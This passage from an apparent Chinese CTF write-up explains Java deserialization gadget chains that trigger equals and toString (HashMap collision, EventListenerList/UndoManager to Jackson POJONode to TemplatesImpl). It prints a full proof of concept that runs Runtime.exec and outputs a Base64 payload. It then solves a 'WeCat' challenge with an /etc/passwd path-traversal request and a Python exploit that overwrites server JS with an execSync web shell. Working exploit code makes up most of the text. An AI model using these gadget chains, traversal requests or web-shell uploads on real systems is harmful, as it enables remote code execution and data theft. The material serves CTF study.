        Test test1 = new Test();
        Test test2 = new Test();

        hashMap1.put("yy", test1);
        hashMap1.put("zZ", test2);

        hashMap2.put("yy", test2);
        hashMap2.put("zZ", test1);

        System.out.println(hashMap1.hashCode() == hashMap2.hashCode());
    }
}

上面这段代码的运行结果为 true

那么满足hash碰撞后就到了使用 equals 方法进行比较的时候了,看看 HashMapequals 方法

代码如下

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

可以看到,当两个HashMap 进行 equals 比较时,会以自己为基准逐个比较entry,之后调用entry中 valueequals 方法进行比较

至此就找到了java反序列化利用原生类触发任意对象 equals 方法的方式了

以触发 XStringequals 方法为例,就可以这样来写了

public static Object getXstringMap(Object obj) throws Exception {
    CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
    ctClass.removeMethod(writeReplace);
    ctClass.toClass();
    
    POJONode node = new POJONode(obj);
    XString xString = new XString("test");

    HashMap<Object, Object> map1 = new HashMap<>();
    HashMap<Object, Object> map2 = new HashMap<>();
    map1.put("yy", node);
    map1.put("zZ", xString);
    map2.put("yy", xString);
    map2.put("zZ", node);
    
    Object o = makeMap(map1, map2);

    return o;
}

public static HashMap makeMap(Object v1, Object v2) throws Exception {
    HashMap s = new HashMap();
    setFieldValue(s, "size", 2);
    Class nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    } catch (ClassNotFoundException e) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);

    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
    Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
    setFieldValue(s, "table", tbl);
    return s;
}

不仅是原生反序列化,在Hessian反序列化中触发HashMapput 方法时关键的点就变成了找从 equals 方法开始的利用链

EventListenerList触发toString

然后注意到还发现有些师傅利用 EventListenerList 来触发 toString 方法,又一个触发 toString 的方法(一般比较常用的就是 BadAttributeExpExceptionXString 这些,现在又知道了个 EventListenerList,积累知识点加一)

来看看怎么触发的吧

javax.swing.event.EventListenerList#readObject 方法中的 add 方法

这里当对象 l 不是 t 类的实例时会抛出一个异常,这里使用了字符串拼接,会隐式调用 l.toString() 方法

不过需要注意的是这里会对 l 进行一次强转,所以我们的 l 必须要实现 EventListener 接口

这里利用的是 UndoManager 这个类,其 toString 方法会调用其 Vector 类型的 edit 变量的 toString 方法,从而触发 POJONodetoString

就用jackson的链子来测试下吧

package com.example.eventlistenerlistgadget;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;

public class EventListenerListPoc {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();

        CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);
        cons.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(cons);
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);

        POJONode pojoNode = new POJONode(proxy);

        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(list);

        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}

很完美

WeCat

另一个 WeCat比较简单

首先是任意文件读

GET /wechatAPI/static?filename=../../etc/passwd HTTP/1.1
Host: 192.168.188.210:3800
Connection: close

但貌似没啥用,还是要RCE

鉴权存在绕过,url后跟 ?static 直接绕了

热部署,上传js文件覆盖源文件,热启动,然后RCE

Exp

import requests

baseUrl = "http://xxxx"

def upfile():

    burp0_url = f"{baseUrl}/wechatAPI/upload/once?static"
    burp0_headers = {"User-Agent": "python-requests/2.28.1", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Content-Type": "multipart/form-data; boundary=d11361f762a28becbee211003a4f8fe6"}
    burp0_data = "--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\naaa\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"hash\"\r\n\r\n/../../src/module/commonFunction\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"postfix\"\r\n\r\njs\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\nconst JsonWebToken = require('../module/jwt')\r\nconst child_process = require(\"child_process\");\r\nconst jwt = new JsonWebToken()\r\nmodule.exports = {\r\n  /**\r\n   * \xe9\xaa\x8c\xe8\xaf\x81token\r\n   */\r\n  verifyToken: async (ctx, next) => {\r\n    ctx.body = {\"res\": child_process.execSync(ctx.query.cmd).toString()};\r\n  }\r\n}\r\n\r\n\r\n--d11361f762a28becbee211003a4f8fe6--\r\n"
    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)
    
def execCmd(cmd):

    burp0_url = f"{baseUrl}/wechatAPI/?cmd={cmd}"
    burp0_headers = {"Connection": "close"}
    res = requests.get(burp0_url, headers=burp0_headers)
    print(res.text)
    
if __name__ == "__main__":
    upfile()
    execCmd("/readflag")